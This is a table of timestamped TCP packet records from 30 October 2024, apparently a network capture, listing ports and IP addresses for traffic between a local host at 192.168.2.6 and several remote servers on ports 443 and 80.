Oct 30, 2024 15:59:19.456638098 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.456680059 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.456919909 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.457041979 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.457056046 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.473061085 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.474694967 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.474771023 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.474807978 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.474813938 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.474822998 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.474827051 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.477745056 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.477762938 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.478053093 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.478307009 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.478321075 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.153382063 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.193443060 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.200943947 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.218933105 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.247827053 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.263449907 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.266211987 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:20.266254902 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:20.266347885 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:20.266877890 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:20.266889095 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:20.359061956 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.359071016 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.359996080 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.360002041 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.363455057 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.363468885 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.368100882 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.368112087 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.368427992 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.368434906 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.368746042 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.368752003 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.403407097 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:20.408925056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:20.431807995 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:20.437148094 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:20.437263012 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:20.437486887 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:20.437505960 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:20.442795992 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:20.442821026 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:20.499335051 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.499407053 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.499460936 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.499792099 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.499809980 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.499824047 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.499830008 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.504434109 CET	49806	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.504451036 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.504525900 CET	49806	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.504785061 CET	49806	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.504798889 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.529562950 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.529789925 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.529844999 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.530081034 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.530086040 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.534341097 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.534388065 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.534471035 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.534632921 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.534643888 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.620001078 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.620181084 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.620245934 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.631439924 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.631439924 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.631463051 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.631474018 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.636035919 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.636068106 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:20.636172056 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.636535883 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:20.636548042 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.121582031 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.121820927 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.121833086 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.123064995 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.123131990 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.125576973 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.125641108 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.125854969 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.126024008 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.126183033 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.126190901 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.126250982 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.167335033 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.254553080 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.255266905 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.255281925 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.255973101 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.255979061 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.257380009 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.257908106 CET	49806	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.257916927 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.258337975 CET	49806	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.258343935 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.382209063 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.382396936 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.382450104 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.382689953 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.382709980 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.382725954 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.382735014 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.384695053 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.385971069 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.385987043 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.386425018 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.386430025 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.387973070 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.388156891 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.388209105 CET	49806	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.388279915 CET	49806	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.388292074 CET	443	49806	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.392736912 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.392744064 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.392776966 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.392785072 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.392875910 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.392982960 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.392991066 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.393002987 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.393028021 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.393044949 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.425343990 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.479144096 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.479157925 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.482601881 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.482743979 CET	443	49804	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:21.483155966 CET	49804	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:21.512993097 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.513216972 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.516798973 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.516798973 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.516882896 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.516896009 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.521249056 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.521280050 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.521517038 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.521673918 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:21.521689892 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:21.853509903 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:21.856628895 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:22.026503086 CET	49778	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:22.037642956 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:22.043081045 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:22.128989935 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.129638910 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.129667997 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.130332947 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.130342007 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.135188103 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.136924982 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.136934042 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.137360096 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.137363911 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.248366117 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.249567032 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.249567032 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.249582052 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.249602079 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.260575056 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.260685921 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.260751009 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.261039019 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.261054039 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.261130095 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.261137009 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.264537096 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.264565945 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.264794111 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.264794111 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.264822006 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.267618895 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.267904043 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.268023968 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.268023968 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.268114090 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.268127918 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.270503044 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.270526886 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.271015882 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.271115065 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.271128893 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.377691984 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.377758980 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.378134966 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.378163099 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.378163099 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.378179073 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.378190041 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.381550074 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.381587029 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.381872892 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.382185936 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:22.382193089 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:22.812096119 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:22.814483881 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:23.002875090 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.007991076 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.056474924 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.056480885 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.079818964 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.079827070 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.080677032 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.080682039 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.105169058 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.105185032 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.105700970 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.105706930 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.125852108 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.126343966 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.126355886 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.127003908 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.127010107 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.206549883 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.206819057 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.207031012 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.207632065 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.207632065 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.207642078 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.207649946 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.221319914 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.221343040 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.221438885 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.221834898 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.221853971 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.248094082 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.248157024 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.248209953 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.248584986 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.248605967 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.248619080 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.248629093 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.251908064 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.251950979 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.252051115 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.252177000 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.252190113 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.258004904 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.258218050 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.258403063 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.258434057 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.258450985 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.258460999 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.258466959 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.260971069 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.261013985 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.261138916 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.261334896 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:23.261353016 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.990936041 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:23.998162985 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.004141092 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.017585993 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.017623901 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.018116951 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.018125057 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.018446922 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.018507957 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.018821001 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.018835068 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.018975019 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.018994093 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.019325018 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.019334078 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.144874096 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.144889116 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.144963026 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.144980907 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.145035028 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.145157099 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.150626898 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.150795937 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.150872946 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.163770914 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.163794994 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.163806915 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.163813114 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.164729118 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.164729118 CET	49817	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.164757967 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.164786100 CET	443	49817	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.166368961 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.166398048 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.166421890 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.166429996 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.185085058 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.185112000 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.185174942 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.186311007 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.186323881 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.187874079 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.187913895 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.188018084 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.188126087 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.188153982 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.189064026 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.189102888 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.189182997 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.190113068 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.190134048 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.927289009 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.927649021 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.927680969 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:24.978328943 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.978347063 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:24.978619099 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.017541885 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.017558098 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.019648075 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.019654036 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.021050930 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.021070004 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.021653891 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.021689892 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.021787882 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.021792889 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.023332119 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.023339033 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.146600008 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.146627903 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.146689892 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.146718025 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.146899939 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.146986008 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.147048950 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.147135973 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.147274017 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.171097040 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.171220064 CET	443	49819	13.107.246.45	192.168.2.6
